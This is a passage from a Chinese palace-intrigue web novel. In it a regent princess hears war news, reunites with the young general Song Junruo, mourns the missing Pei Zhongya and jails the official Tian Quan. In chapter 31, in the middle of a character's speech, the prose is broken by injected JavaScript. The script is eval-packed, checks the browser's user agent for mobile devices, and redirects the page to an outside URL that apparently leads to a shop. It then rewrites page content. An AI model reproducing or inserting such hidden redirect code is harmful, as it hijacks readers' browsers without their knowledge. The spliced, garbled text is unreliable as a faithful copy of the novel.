肖溪沉默地点点头,没有半分想要离开的意思。 “好好——那你就继续留着吧,等日后被他折磨死,你也别怪别人。萱萱,走!” 麟趾殿的大门沉重地扣住,北风呼啸,凄厉地叫着。狐裘被风吹起,冷风从袖中贯穿,在我衣袍里跑了个来回又逃了出去。全身突然痉挛,我抱着肚子跪倒在地,冷汗不停地往外冒。肃杀的风灌进我的胸腔,像一团绵针滚来滚去扎得我鲜血淋漓。 “殿下——” “别扶我!”我强忍着痛苦从地上站起来,双膝无力像是深深地陷在雪地中一般,“回宫。” 麟趾殿在大雪中愈来愈小,风雪掩盖了一切。步辇中的炭火怎么也烧不热我的四肢。广明殿关了所有的窗户,只留下里床榻最远的一角支起小小一条缝隙。火炉放在床榻的一头一尾,汤婆子塞进被窝,可我仍旧觉得寒冷,浑身仿佛浸在三九寒冰中,无论如何都捂不热。 头脑昏沉,耳边人声嗡嗡,浆糊一般听不清。一双温暖的手抚上我的额头,轻柔地贴着我的面颊:“殿下,喝药了。” 我想起身,身却如千斤巨石动弹不得。那人将我半抱起来,垒了几层枕头,又将被子盖到我的肩头:“殿下,张嘴。” 竭力地睁开眼睛——陈蕴正拿着药碗一点点往我嘴里喂,口中还念念有词:“药神娘娘行行好,看看 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陈蕴不再追问,服侍我躺下后便去看奏疏。 烛火被一盏盏熄灭,留下外殿莹莹一簇微光,热气弥漫在帐中,隔绝了一切寒冷与黑暗。醒醒睡睡,睡睡醒醒,魂梦之间好似有兵哥铁刃相交之声,马踏大地震声,将士们嘶吼斩杀,风雪裹挟着鲜血在土地沟壑上蜿蜒成一道道伤疤。尸殍遍野,堆叠如山,夜幕星辰之下,火把中是一张张狰狞可怖的面容,有的没了眼睛,有的没了嘴巴,半张脸耷拉在脖子上,晃着晃着就掉了下去。 身上冷热交加,铁锈的血腥味不讲道理地往鼻子里窜,脚下的丝履被沁湿,提起一看,血红色染满了整个脚掌,而我站在尸堆之上——坚硬的、冰冷的的躯体。抬眼望去,一轮骄阳正从地平线的那一端挤着头往上冲,冲破了山脉,冲破了风雪,也冲破了残酷无尽的杀意。 我抬脚想要走下去,却一个踩空坠落悬崖。 瞬间睁眼,帐外仍是黑夜,陈蕴掀起帘子,神色焦急。 我努力收拢意识,问道:“怎么了?” “前方送来战报。您……要现在看吗?” 她言语闪躲,怕是情况不妙。 “拿来。”我支起虚弱的身子,接过战报。 裴林琅按兵多日,终于在北湾谷与姜融的队伍狭路相逢,二人交战激烈,不分上下。但这时广陵王的援兵偏偏来此,杀得裴林琅措手不及,仓皇逃出北湾谷,直退到西岷县,将前方一大块土地白白留给姜融侵占。 广陵王、援兵、西岷县、侵占。这几个字像铁钉,一下一下锤进我的胸口。 “殿下,我们明天再看吧……” “不,就现在!”我拂开她的手,继续看另一份。 我算是知道为何陈蕴会如此害怕我看见。 第二份战报就寥寥几字,却将我的心紧紧揪住——裴开项携军失途。 29. 第 29 章 裴开项的失败来得比我想象中更快。英雄迟暮是自古以来不变的憾事,一个人在年轻时风光无限,年老后必将迎来他最无法接受的跌坠。 裴开项会有这么一天的。我一直这样安慰着自己。他在军队有一呼百应的威信,有百胜将军的称号,但他总有一天会跌落神坛的,也总会有一个人取代他。 那一天或许在不远的将来,也或许在他死亡的时候。 可我根本想不到,会是现在。 我需要裴开项的失败,可不是现在。北境阿勒奴兵临城下,整个大齐只有裴开项能让他们害怕。裴开项这面大旗在齐国倒下不足为据,可若是在阿勒奴人心中倒下,那将是对大齐最大的威胁。 混沌的脑子瞬间清醒几分。我问:“然后呢?其他的战报呢?” 萱萱摊开手中的绢布:“只有这些了。” 孤零零的几张,再没有其他。 一切都是未知的,可能是好消息也可能是坏消息。不准害怕!姜毓卿不准害怕! 我紧紧地攥着被衾,望了一眼渐渐明亮的天际:“我饿了,传早膳。梳洗上朝。” “殿下,您的身子……” “上朝!” 朝堂上气氛压抑,群臣诸事不敢提,就怕给我添堵。宣政殿外的大雪终于停了,侍女宦官们穿着厚厚的棉服拿着扫把和盐巴正在清扫。大殿之上炭火烧得旺,群臣纷纷不动神色地擦汗,根本没胆子抬头看我。 珠帘在眼前晃动,热气熏得我气喘。我扶住脑袋,缓了好一阵才说出话来:“江东今年粮食歉收,又逢五王叛乱,前些时日开放了广济仓,情况如何?” 无人站出来应答,只一个站在后排的年轻人走上前来:“回殿下的话,江东五郡四十二县开放广济仓三十八个,粟米均价控制在二十钱一石。前些时日,五郡郡守送来消息,百姓们大多都能购得粟米安稳过冬。” 我按着太阳穴,点了点头:“知道了,下去……等下,你是……?” “回殿下的话,微臣治粟内史治下太仓令郑辽。” 我向下看去——是个年轻的男子,玄袍长冠,长身玉立,双手执笏,微微躬身。 是了,田诠深陷口舌之事,被我免了职,如今治粟内史之位还空缺着。这郑辽倒是懂得见机行事。 天上又开始下起了雪,群臣禀报着无甚紧要的事,奏疏上送流转,各部门各司其职便可解决。朝堂上又安静下来,所有人都看着我,而我望着远方。 我在等。 宦官们扫除一条路,从宣政殿的大门直通到宫门,恍惚有一点黑影在门洞中奔跑。 我眯起眼,努力让自己看清。 萱萱瞧了我一眼,起身走到殿外静候。 信使的眉目上挂着冰晶雪霜,脸颊通红,“扑通”一声在殿外跪下,声音亮如洪钟:“前线捷报!” “宣!” 信使踏着泥泞的战靴走进大殿,单膝跪在堂下,双手举起卷轴虔诚而恭敬地呈于我面前:“十二月初四是夜子时,宋君若宋将军携兵四十人夜袭阿勒奴左大都尉壶鹿弥营帐,斩杀敌军两百三十七人,取壶鹿弥首级返营。” 朝堂之上众人惊呼。谁也想不到这个初出茅庐的小子能有这样的胆识与能力,何况是在裴开项失落之时。 “宋将军派遣小队前往乂母峡谷,找到裴将军军队与其会合,由东南与东北方向夹击阿勒奴右大将部队,杀其措手不及、节节败退,一度逃匿于北河谷底。宋将军领轻骑三十,深入北河谷底,斩杀右大将于马下,生擒俘虏五百人,十二月初六已尽数降归。阿勒奴重创,扶罗单于派出使者,十二月初八于善都境外派使者求和。” 一颗大石终于落地,周身轻飘飘的,连呼吸都变得顺畅:“今日十二月二十,想来明日求和国书就能放在我们面前了。” “可喜可贺啊!可喜可贺啊殿下!”大臣纷纷赞扬宋君若的能力与我的美德,说他年少英雄骁勇善战,说我能人善用火眼金睛。 众人将我高高捧起,好似全然忘记了先前失利之时的沉郁与怀疑。 “裴将军……可还好?”我问道。 群臣噤声,转头看向信使。 信使沉默一瞬,有些支支吾吾。 我感慨:“裴将军……也是年纪大了呀。等边境之事尘埃落定,让他们早些回来吧。” 阿勒奴战败的消息一夜传遍大江南北,动摇了远在东南的姜融姜琰的心。他们一方突破巨鹿城未果,转头融合一处专攻裴林琅镇守的裕康县。可谁知裴林琅早已陈兵阵前,决心殊死一战。先前避而不战不过是韬光养晦,消耗姜融姜琰的战力,如今他们军心不稳兵力不足,裴林琅联合裕康县左右三郡八县全民御敌,将他们牢牢地挡在城外。 此时巨鹿忽然掉转头来从后夹击,姜融姜琰腹背受敌,报信请求广陵淄川援兵再战。然而广陵王迟迟不肯出兵,就连先前跟在姜融姜琰后头的援兵也不知何时已经撤出战场,逃得远远的了。 胶东王见势不妙,派人将姜融姜琰粮草埋藏地透露给裴林琅。当夜,裴林琅就命人将他们的粮草搬空,再去找时,只剩下守卫的尸体和空荡荡的洞穴了。 胜负已定,姜融姜琰再反抗也是强弩之末——最后的挣扎。 坊间开始传唱起《硕鼠》的歌谣,姜融姜琰勾结治粟内史鱼肉百姓、侵占田租,是朝廷蠹虫、是百姓硕鼠,该死、该杀! 歌谣传唱到长安,田诠连书三封自白书,说明自己对国家的忠诚、对君主的忠诚,万不会做出此等伤天害理、欺君罔上之事。 三封自白书,我一封未动叫萱萱烧了个干净。 刘勉与裴仲琊都无碍。我的心脏忽然轻了轻,身子不再像前几日那般沉重。 只等刘勉将证据送回长安,宋君若和裴仲琊班师回朝,一切就都结束了。 我成功了。我的想法是正确的,我选的人是正确的,我的野心也是正确的。姜旻坐不了这个位置,姜融姜琰姜修都不可以,只有我可以。 只有我是可以的。非鬼神之说,非奸臣谄言,乃天道所向、民心所向。 我,有资格,也有能力坐 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朝内朝外一片祥和欢欣,大家都松了口气。议事的氛围也不再剑拔弩张,更愿意容忍他人了。长安城的风雪仍旧纷纷扬扬地下着,却多了几分温柔闲散的味道。广明殿外的紫藤花架上落满白雪,好似为了迎接谁又热热烈烈地绽放了一次。 太医来把脉,说我病体痊愈,无需再担心。我知道,是因为他们快回来了。他们完成了使命,完完整整地回来了。想至此,心情更加畅快,开心地能吃下两碗米饭四盘肉。 心里想着,真就让萱萱这么做了。还招呼了陈蕴、薛获坐下一起吃。窗外大雪纷飞,殿内红泥小火炉,烤肉香气四溢,温酒下肚,红气上脸,几个女人行着酒令哈哈大笑,好似世间根本没什么烦恼事。 我喝醉了,东倒西歪地想要送陈蕴和薛获回去,被萱萱小蛮拦下。 真是的,我难得这么开心,她们还要拦我! 我叛逆地伸手要去拉陈蕴:“再喝一点呗,就再喝一点点……阿蕴你再陪陪我,我想和你聊天儿……” 她们许是没见过这个样子的我,新奇得很,也抛开了君臣之礼来拉我的手。陈蕴笑道:“殿下,我就住在宫里呢。我明天继续来陪你喝。” “我不要!我就要今天!我今天开心!明天上完朝批完奏疏就又不开心了!” “好啦殿下……乖。”薛获摸着我的脸,“我们明天一定来陪您。” “我不……”我欲哭无泪,“我就要今天!我就要今天!” 四人哭笑不得,边哄边将我架到榻上。我膝盖一软,舒服地埋进被窝里,抓了抓柔软的被子,蹭着枕头就睡了进去:“还要喝……还要吃肉……我要吃鸡肉、兔肉、鹿肉、獐子肉……撒葱花、胡椒……喝!” 脑子里的肉飞来飞去,香味飘来飘去,我拼命地吃着怎么都不会饱,满足极了。 “还要兔肉!”我大声喊道。 不知谁轻笑了一声,从后将我拥住,高大的身影笼罩住我,脸颊蹭着脸颊:“想吃兔肉?我给你去抓。” 30. 第 30 章 我瞬间清醒,一个翻身往床榻里滚:“谁!” 月光帷幔下,宋君若俊朗的脸掩映在黑暗清冷中,眼眸清亮、鼻梁高耸,嘴角浅浅勾着,俯身下来摸了摸我的脸:“姐姐,我回来了。” “阿若?”我终于看清他的脸,“阿若!”百日思念担忧顷刻化为乌有,我伸手一把抱住他的脖子。冷冽的风雪钻在他的衣袍里,贴着我的纱衣,我不禁打了个冷颤。 宋君若抱住我的腰起身转了好几圈才停下。他埋在颈间深深一嗅,似是满足似是安心地叹了口气:“是我,我真的回来了。” 我从他身上下来,连忙翻衣领袖口:“快,给我看看,有没有哪里受伤?你真是……胆子就那么大!带那么少的人就敢冲敌军军营,万一……万一……” “没有万一!”宋君若重新将手搭上我的腰,朝他一揽,“我不会输,我只会赢!我答应过你的事情我一定会做到,你在长安等我,我也一定会回来!姐姐,我真的做到了!” 少年眼里是欣喜若狂,他的眼眸好像迸着火花,连我都觉得热烈起来。宋君若再一次将我抱起来转圈,脚下却不稳,二人双双摔倒在床上。我笑得岔气,艰难地从被窝里爬起来,却看见宋君若仍旧埋在被子里轻轻地闻着味道。 我面上一热,揪住他的后脖颈将他的脑袋拎起来:“你干什么呢!” “好怀念这个味道……”宋君若仰面躺了下去,“小时候我们就经常睡在一起,你屋子里一直都是这个熏香。我在北境的时候,很想家,很想你,有时闻到类似的味道,我心里头就特别难受。就想着……为什么要打仗呢,我能不能早点回到未央宫,回到你身边?可转念一想,男子汉大丈夫,我不该这么优柔寡断、磨磨唧唧的,我本就是为了你才跟随裴开项去北境的,自然要在那里完成你交给我的任务才有脸面来见你!” “我真的回来了!”他又重复了一遍。 三个月。 他离开长安不过三个月,但他的改变却好似有三年那么长。身量变得更加高大魁梧,脸颊粗糙却更精神刚毅,双眸炯炯有神,像暗夜里明亮的烛火和星子。下巴和鬓角有短短的青色胡茬,一看就是来见我前刚草草刮过,给年少的容颜更添了几分成熟的韵味。 宋君若真的变得不一样了。 他像一个真正的男人,却躺在我的床上。 我垂下眼眸,扭头不去看他。 宋君若起身追上来揽住我,脑袋像小狗一样地在我的肩膀上蹭来蹭去:“姐姐,你看看我变化大吗?他们都说我又长高了。我说:‘我都七尺九了,还能长高啊?’他们说:‘那当然啦,半大的小子,窜天的树。你都快赶上红缨枪了。’” 说罢,他挺直了腰杆问我:“后来我量了一下,我竟然八尺二了,我自己都不敢相信。你看看呢,我是不是又长高了?” 我笑着朝右边挪了挪:“你站起来让我看看。” 宋君若忽然不说话了,他眉眼弯弯,笑意盈盈地看着我,就是不站起来。 火炉一团一团地冒着热气,不知从哪儿来的风将帷幔吹得晃晃悠悠,两个人的影子一会儿合在一起一会儿又分开。宋君若的眼神直接,他看着我,我将头扭向一旁:“我……我以为你会跟随大军一起回来。” “我太想你了。战事已歇,早回晚回都一样。我跟人说我挂念你的病,就先行启程回来看你。”他握了握我的手,起身从木施上取下我的外袍给我披上,“三个月……你瘦了好多。” 我拢了拢外袍又稍稍挪开一寸。宋君若却猛地将被子一拉,我整个人都被拖到了他面前。近在咫尺,呼吸相闻,我不敢动,也不敢看他。 很多东西都变了,在他离开之前就变了。 我既希冀着他回来,又忧愁着他回来后该如何处理我们俩之间的关系。 该怎么做呢?他似乎没有给我思考的时间。 宋君若将我的碎发别到耳后,轻声问道:“病怎么样了?好些了吗?” 我笑笑:“已经好了。一听说你们要回来,我哪还有什么病?” “你们?除了我还有谁?”宋君若定定地看着我,似乎只要我的嘴巴里说出他不满意的答案,我就完了,“你不会说的是……” “是你们所有人。”我点着额头将他推远,他却将我的手拉过去贴住脸庞,在手掌心烙下轻轻一个吻。痒痒的,直痒到心坎儿里。 不能再继续下去了姜毓卿,缩回来!把手缩回来! 可宋君若没让我有这个机会,他张开双臂将我抱进怀中,热哄哄地身体熨帖着我,即便在北风凛冽的冬夜里也不会觉得冷寂孤单。 “我好想你……战场上每一次刀光划过眼前,我总觉得我要死了,可我一直记着你——你还在等我回家,我绝对不能死。如果我死了,谁又来陪你呢?”宋君若的怀抱越来越紧,“只有我才能陪在你身边,别的什么人根本不行。” 他说话的热气打在我的脖颈上,又湿又痒。我缩脖子,宋君若却不让。脖子被粗粝的大手盖住,他的力气好大,掌控着我丝毫动弹不得。 缠绵的气息犹豫地吹在耳边,将落未落的吻悬着,我伸手要推开宋君若。谁知我好像是惹怒了他,他一手箍住我的腰,一手把着我的脖子,滚烫的吻就落了下来。 脖颈一湿,我急着躲开,宋君若像蟒蛇一般将我紧紧缠住,半分不让我逃脱。 “阿若……”我觉得我快窒息了。 “姜毓卿。”他忽然喊了我的名字,我的心脏在胸腔里狠狠锤了两下,呼吸一滞。 “你还记不记得我临走前,你答应过我什么?”我的衣袍被蹭下了肩,唇瓣在肩膀上摩挲。宋君若这时又像个乖巧地孩子替我搭好衣服,抱着我,向我撒娇:“你记不记得?才三个月,你不会忘记了吧?” “我没有……”我嘟囔。 “没有就好。”宋君若松开我,双手捧起我的脸,认真地凝视着,“从小我就觉得你漂亮,是我见过最漂亮的人。我离不开你姐姐,不要让我离开你……”气息渐息,剩下的话语被他吞咽进喉中,宋君若急切地想要回应与安抚,双臂将我圈禁,唇齿将我的呼吸掠夺。 脑子里有什么东西轰然炸开,浆糊一样黏满了七窍。我早知他对我之爱超出了姐弟亲情,也知他离不开我,我也离不开他,但一个唯你 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呆滞半晌,宋君若绽开一个令我震惊的灿烂笑容,抱着我将我撞到在床上。 他没动,我也不敢动。 闷闷的带着哭腔的声音在我耳边响起:“姐姐……”过了良久,又喊道,“……姜毓卿。”低低的、羞涩的、难为的,这是他第二次叫我全名。 胸腔满满胀胀,似乎有什么东西正在渐渐填满它。 “为什么要这么叫我?”我扭头看他,他的脸近在咫尺。 “我想……我一直想这么叫你。在我心里已经这样叫你很久了。”他从我身上爬起来,眼神有些飘忽,我低头一瞧,纱衣在方才动作下微微敞开,我起身将衣服拢好,宋君若却是在我身边躺下。 他深吸一口气,畅然叹出,睡眼惺忪,让人分不清说的是梦话还是真话:“姜毓卿……姜毓卿……天啊,这明明是你的本名,可以前只有裴仲琊这样叫你。就连舅舅舅母都是喊你封号或者小名,如今我竟然也可以这样叫你了。” “那你还是得喊姐……” “我不要。”他仰视着我,我却被他的眼神灼伤,“从今以后,我都不要叫你姐姐了。我真的长大了,我十七了。很快我就会十八,十九,我就会到你们的年纪。我……啊!” 我在他脑袋上狠狠地敲了一下:“就你会长年纪,我们不会?你要是不叫姐姐,以后就跟着萱萱小蛮叫我殿下……你!” 宋君若不甘示弱,抓着我的手将我拉倒在床上,他半支着身子,眼眸里完完全全是我的影子:“姜毓卿,你明白我的意思吗?”他伸手摩挲着我的嘴唇,嘴唇好似被砂砾碾过,留下粗糙的痛感,“我想要的比弟弟多。很多。” 沙场上走一回,他胆子是真的大了。以前不敢违逆我分毫,现在竟然敢三番两次与我叫板顶嘴。我虽从小惯着他,他也绝不可能让他踩到我头上来。 “多多少少,由我说了算。”我捏了捏他的脸,狠狠掐起一边的肉,“叫什么也得由我说了算。叫——姐——姐——” 31. 第 31 章 刘勉回来了,但他是一个人回来的。 裴林琅按照我的旨意向东南推进。楚国鲁国被废,群臣四散归田,胶东、广陵、淄川偃旗息鼓、俯首称臣。死罪可免、活罪难逃,即便临阵醒悟也改变不了他们谋逆之心。三国之地缩减,田租、市租、兵马、铸币、任官等权力一律收归中央,诸侯王成空壳,顶多就是个蒙阴受封的公子王孙。 裴林琅行至广陵,我希冀他将刘勉与裴仲琊安全带回,可他只带回来一个人—— 裴仲琊失踪了。 姜琰的人比裴林琅早先一步进入广陵,他们想杀了裴仲琊,这个从内部瓦解联盟的人。 “当时微臣恰与裴公子在一处,方要启程与小裴将军汇合。谁知行至一处山林,姜琰的人便从四面八方冲出来。守卫与其厮杀,微臣与裴公子分散逃走,在大道上遇见了小裴将军这才得以获救,可当我们折返寻人时,翻遍山林也不见裴公子踪迹。”刘勉头压得很低,不敢看我的脸色,声音有些颤抖,说一句哽咽一下,“小裴将军留了人马在广陵,已与广陵王一同全境搜寻,必回给……给殿下一个……一个交代。” 我良久没有说话。 裴林琅和刘勉纷纷偷偷抬头看我,我深喘了一口气,想挤出一个不算难看的表情脸上却很僵硬:“好……”声音也有些抖,“除了广陵,周围各郡国县都要派人找一找。裴公子为国为民只身赴险游说,我们不能让他死……消失地不明不白,一定要给裴家、朝廷,还有百姓们一个交代。” “是……是。”刘勉说话磕磕绊绊,又从怀中掏出卷轴递给萱萱,“此乃广陵、楚、鲁等诸侯国与田诠重要来往书信记录与账册抄录,原本皆带回,已交由彤管阁陈首辅收录。” 我打开粗粗翻看,点了点广陵等国的记录:“若有关广陵、胶东、淄川等郡国的记录就抹掉吧,剩下的叫其他诸侯王从他们自己的府库里出,不可剥削鱼肉百姓。” “是。”刘勉应道。 “表哥与小裴将军舟车劳顿,若无其他要事,便先行回去歇息吧。其余的明日再议。”我有些疲乏,将卷轴扔给萱萱就想回去睡觉。 一直站在旁边的刘些却叫住了我。许是我的脸色太差,连舅舅都不知道该怎么开口。 “殿下留步……”他终究说了出来。 我瞥了一眼裴林琅和萱萱,示意他们出去,广明殿只剩下三个血脉相连的人。 “殿下,”刘些上前几步,踌躇迟疑,“裴二郎的事……子诚心中也十分难过,他与小裴将军多次往返搜寻,山顶山脚都找遍了。广陵王也是派人四下寻找,都……没能找到……但是小裴将军在那里留的都是精兵良将,不出几日必定能带来新的消息!” 新消息而非好消息,这话说得真是天衣无缝。 刘勉仍旧跪在地上,直着身子不敢看我。 我笑了笑,走下去将他扶了起来:“表哥也是大齐的功臣,哪能一直跪着。长安江东相去千里,表哥也是身负险境,死里逃生。我们是君臣,更是亲人,本宫会一直记着你们的好,你们的功。早些回去歇息吧。” 刘些刘勉面面相觑,最终还是拜礼离开。 那卷轴拿在手中好似千万根绵针扎进我的血肉里,痛楚在十指生根发芽蔓延到心脏,一呼一吸都牵扯着五脏六腑一起胀痛流血。 未央宫的风起起落落,灯明明灭灭,太阳东升西落,苍穹斗转星移。我不知在窗棱上坐了多久,若非萱萱叫我,我都不知道狐裘竟被雪水打湿。手脚冰冷,热汤怎么暖也暖不回来。 萱萱服侍我睡下,我却只能睁眼看着烛火在榻顶摇摇晃晃,怎么都闭不上眼睛。 “殿下,陈首辅送奏疏来了。”萱萱在帐外喊,“还有……刘勉大人。” 我“噌”地从床上起身,整理一番去外殿接见。 陈蕴命人将奏疏放在几案上,看了看刘勉朝我使了个眼色便退了下去到偏殿候着。 刘勉立在面前,眼神却有些愧疚心虚,不太敢看我。 必定是为了早上的事。 我摒退众人,刘勉的神色才稍稍放松下来。 “今日是表哥当值吗?” “微臣……与同僚换了班,是有话同殿下讲。” 我的心沉了沉。 “今早许多事情未能尽数告知,微臣先在此赔罪,一来小裴将军在场不便多言,二来……是微臣与父亲一致的意思。但如今想想,不论是裴二郎的品行为人还是他在殿下您心中的重要程度,有些事……还是得让您知晓。” 刘勉抬起头,凝重又哀痛:“裴二郎并非与微臣分散逃生而失踪,他……他是替微臣引开追兵才失踪的。 “姜琰的人起先并不知道微臣也在广陵。那日微臣与裴二郎同乘一车,忽遭行刺。我们弃车逃脱,裴二郎自觉是他自己害了我,便要替我引开刺客。他说我身上的东西更重要,我的身份也更重要,能替殿下您,替大齐解决更多更大的事情。而他……”刘勉停顿一瞬,“他觉得这样很值得。” 烛火“哔啪”一声跳跃,光影在我眼里闪烁,刘勉的身影模模糊糊,声音也模模糊糊。 “殿下虽已与裴二郎退婚断绝来往,但这么多年您与他的过往我们都看在眼里。若要完全斩断,我们亦知艰难……所以今早含糊其辞,是怕殿下伤心也是怕殿下对裴家有恻隐之心。 “殿下您是知道的,我们与裴家……终有殊死一搏。” 我麻木地动了动嘴唇,不知现在是哭还是笑:“那你还告诉我?” “因为裴二郎裴公子。”刘勉望着我,“他是个真正的君子,我不愿他的情义与志向蒙尘。这会让我寝食难安。 “那日我们逃进一处山洞,他想出去替我引开刺客,我百思不得其解,问他为何要帮你。我们帮你是因为我们是亲人,血浓于水,生生世世都绑在一起。可他不是,皇权亦不可能永远活在裴家的威压之下,如今相安无事,不过是互相需要。他是裴家子,甚至有了其他的婚配,却还忤逆家族帮你,到底是为了什么?曾经的情义吗? “殿下猜他说什么?我当时听见,根本不敢相信自己的耳朵。他说,当年学宫与你一起读书时,太傅讲到周公吐哺、伊尹还政,君事臣以礼,臣事君以忠,是以天下昌明、百姓安居乐业,无灾无难,绵延百年。治世之臣辅佐明君才能带领自己的国家走向更加辉煌灿烂的盛世。 “他想成为这样的臣子,可在他短短的二十年生涯里,他没见到这样的明君,相反的,弄臣权臣渐多,超纲混乱,君臣相害相杀、群臣党派林立。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188272|135567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大齐在外仍旧蒸蒸日上,可内里的争斗却从未停止过。千里之堤毁于蚁穴,他害怕。这与他以往所学所见的一切都相违背。那些权臣弄臣以前也是良臣忠臣,那如今的良臣忠臣日后也会变成权臣弄臣吗?他觉得不应如此,也不该如此。” “他是裴开项独子,日后的裴家必定由他继承要他壮大,他也势必要走这条路,但是他说这条路他根本走不下去,裴家会毁在他手里。不走,辜负父母族亲;走,辜负君王自我。他曾寄希望于跟随你一同前往封地,做你的臣子与丈夫,但是这条路如今也没可能了,他还是得照着裴开项给他的路子走。 “可是……后来你夺位了,你联合了他的父亲,取代了姜旻,做了这未央宫的主人。你给了他希望,你让他看见了,他想要辅佐的明君的影子,果敢刚毅、冷静决断、审时度势、明辨是非……他在你身上看见了所有的期许,他觉得他能在你身上实现抱负。帮你,既能走他想走的路,又能让你走你想走的路,他想不到比这更加两全其美的事情了。他曾经想要的一切,都在你这儿得到了。他……死而无憾。” 从长安到广陵,两山三水七城,他需要花上五天、十天、十五天甚至更久才能到达,而我也需要一月、两月甚至更久才能重新见到他。 我能见到他吗?好像不能了。可他们没有找到他的人也没有找到他的尸体,是不是还有可能?他现在在哪里?在山洞里?在峡谷中?今年的冬季如此寒冷,江东素来湿寒,他那样的身体能支撑下去吗?他有没有找到吃的东西?有没有找到保暖的东西?他会生火吗?他怎么会生火?那他不得冻死了? 如果……如果他……他已经……那他现在又孤零零地躺在哪里?有没有动物会…… 我头疼欲裂,脑中一片空白,根本想不下去。 破镜重圆的穿天石还在我手中,可那个承诺会回来拿的人却找不到了。 未央宫的雪没有尽头,广明殿的烛火也烧不尽。 我们争吵、决裂、伤害,可我从来没有想过会失去他,永久失去他。我还没有做好准备,为什么……为什么这天就突然降临了? 面颊冰凉,擦了又湿,湿了又擦。 他就是个傻子。人人都说他聪明,可他就是个傻子!大傻子!又倔又蠢的病秧子!书呆子!妄想我永远记得他?妄想以此让所有人都铭记他怀念他? 不会!不会!不会!或许别人会,可是我永远不会!我才不会! 这些东西只会成为我连根拔起裴家根基的利器,让他成为裴家生生世世众矢之的,成为丧家之犬! 我才不要记得他!我才不要伤心愧疚!我不要! 大齐的黎明在大雪停止之时来到,一缕惨淡的白光透过半开的窗户照进殿中。宦官催更的声音由远及近,侍女们端着衣裳首饰来扣门,百官磷林马车使斤宫门等待着我上朝。 一切都还和曾经一样,什么都和从前一样。 世间永远有人在离别,在世间之事永远不停歇。不管是谁,一切如常。 所有人都低着头不看我。我净面擦干,侍女将镜子抬到我眼前。镜中人双眼红肿,沧桑疲惫,一双眼眸沉郁哀伤,没有丝毫光彩。 一切如常。 可我知道,什么都不一样了。 32. 第 32 章 32. 裴开项要回来了。 独子失踪,我不知道裴琳琅改如何面对他的叔父,裴开项又该如何面对裴家那些心怀鬼胎的人。 我只知道,留给我处置田诠的时间,不多了。 近几日的群臣战战兢兢,十分识相地不往我跟前凑,也无人站出来为田诠说情,就连田冲田议都瑟缩了起来。 诸侯王与田诠勾结的证据完完整整地摆在众人面前,田诠哭天抢地,说是诸侯王陷害。我没有说一句话一个字,摆摆手就叫人将他拖了下去,收押大牢即日问斩。 田冲与田议站在殿下噤若寒蝉,看也不敢看我。我觉得好笑,点名问道:“田诠之事,你们父子可知道?” “我们……全然不知啊殿下!这逆子竟敢做出此等伤天害理祸国殃民之事,是我田家之耻辱更是大齐之危害!微臣愧对陛下与殿下,教子无方才让这竖子惹出许多祸事,殿下明察秋毫,逆子死不足惜、咎由自取,微臣……无辩无言!” “不知道?”我笑了一下,“那他的钱都到哪儿去了?田诠似乎并没有分府别住啊,俸禄应当还收归在田家的主账里吧?” “俸……俸禄确实是,但这贪污之财……臣等属实不知啊!” “知不知也不是你们说了算的。”我理了理鬓角的发丝,“我已命彤管使和御史台彻查田府内账,现在……应当已经到你家门口了。今天往后,田家相干人等皆免职歇朝,何时返朝,就等事情查清楚后再说。” 下朝后,田议终于憋不住来找我。他满脸阴鸷,眼睛血丝满布,眼下乌青,一身戾气地冲进我的广明殿。彼时我与方通正在议事,瞧见他便让方通先去偏殿等候。 “什么叫免职歇朝?”田议死死地盯着我,“殿下不是答应过裴相吗?” “裴相还答应过我要狠狠挫败阿勒奴的锐气凯旋而归,他做到了吗?”我直视着他,“治粟内史乃九卿之一,不是谁都能做的,你们田家鸠占鹊巢这么多年,做成什么事了?成事不足败事有余,如今还有脸面质问我,来向我讨要官职。田议,喝花酒别把脑子喝坏了。你如今有这功夫在这儿跟我争论,倒不如去大牢里看看你的好兄长,那或许……哦不是或许,那就是最后一面了。” 田议没有说话,眼神越来越冷。这是我第一次看见他用这样的眼神,以往的他或谄媚或虚假或谨小慎微,看的都是我长公主以及卿主的身份,可如今,他的眼里有杀气——他想把我杀了。 他转身离开,将殿门狠狠摔开。“咚”地一声把侍女宦官们都吓了一跳。我无动于衷,让方通重新回来谈事。 “殿下与驸……与田议还是要维持一下样子才好。”方通道。 “我知道。只是最近很烦躁,不想同他虚与委蛇。”我皱眉,“田家的人我一个都不想看见。” 方通点点头:“那治粟内史这个位置,殿下更加要换上自己的人了。公主可有属意的人选?” 我开门见山:“有,就是刘勉。” 方通认可:“最佳人选。所以殿下今日宣臣前来,是想让臣做这个保人?” “没错。” 因外族战事,方家与裴家过节甚深,方通又是永安大长公主的外孙,皇亲国戚、外邦贵族、三朝元老,由他打头推荐刘勉再合适不过。可只要他应下做这件事,他在朝中就再也无法以中立的姿态行事,即使无心,也会被有心之人扣上帽子——他是我的人。 “后果我不说你也清楚,我只问你一句,愿?不愿?” 因西域血统,方通的眼眸是异于汉人的金瞳,他看着我,如琥珀般澄明:“愿为殿下效力。” - 在裴开项到来之前,我将刘勉擢升为治粟内史,方通提请推荐,朝中不少人附和赞同,我佯装深思熟虑的模样回去考虑了两日才下懿旨。 田家的账一时半会儿查不完,我也没打算查个彻底,只不过等裴开项回来,装作给他面子再收手罢了。战事上吃瘪,田诠也要死了,若是田家再倒了,那我们裴开项裴大人可就哄不回来了,到时候倒霉的还是我。 田诠之事也不用再过多纠结,人证物证俱在,诸侯王也已死于马下,是该轮到他了。 我从十四岁开始就盼望这一天了。 这一天,终于来了。 大狱阴暗潮湿,窗户高悬,烛火昏暗,铁铸的牢笼缠绕着枷锁,田诠一身囚衣坐在最末端的牢房里,枯草粘在他的身上头发上,佝偻着身躯背对着我,月光清泠泠地洒在他身上,颓败又苍凉。 我让侍从们都下去,用指甲敲了敲牢门,喊道:“田内史。” 田诠身躯一震,并未回头。我挑了个还算干净的板凳坐下,掸掸手上的灰尘,笑道:“在牢中待了几日,感觉如何?以前可曾想过自己会有今日?” 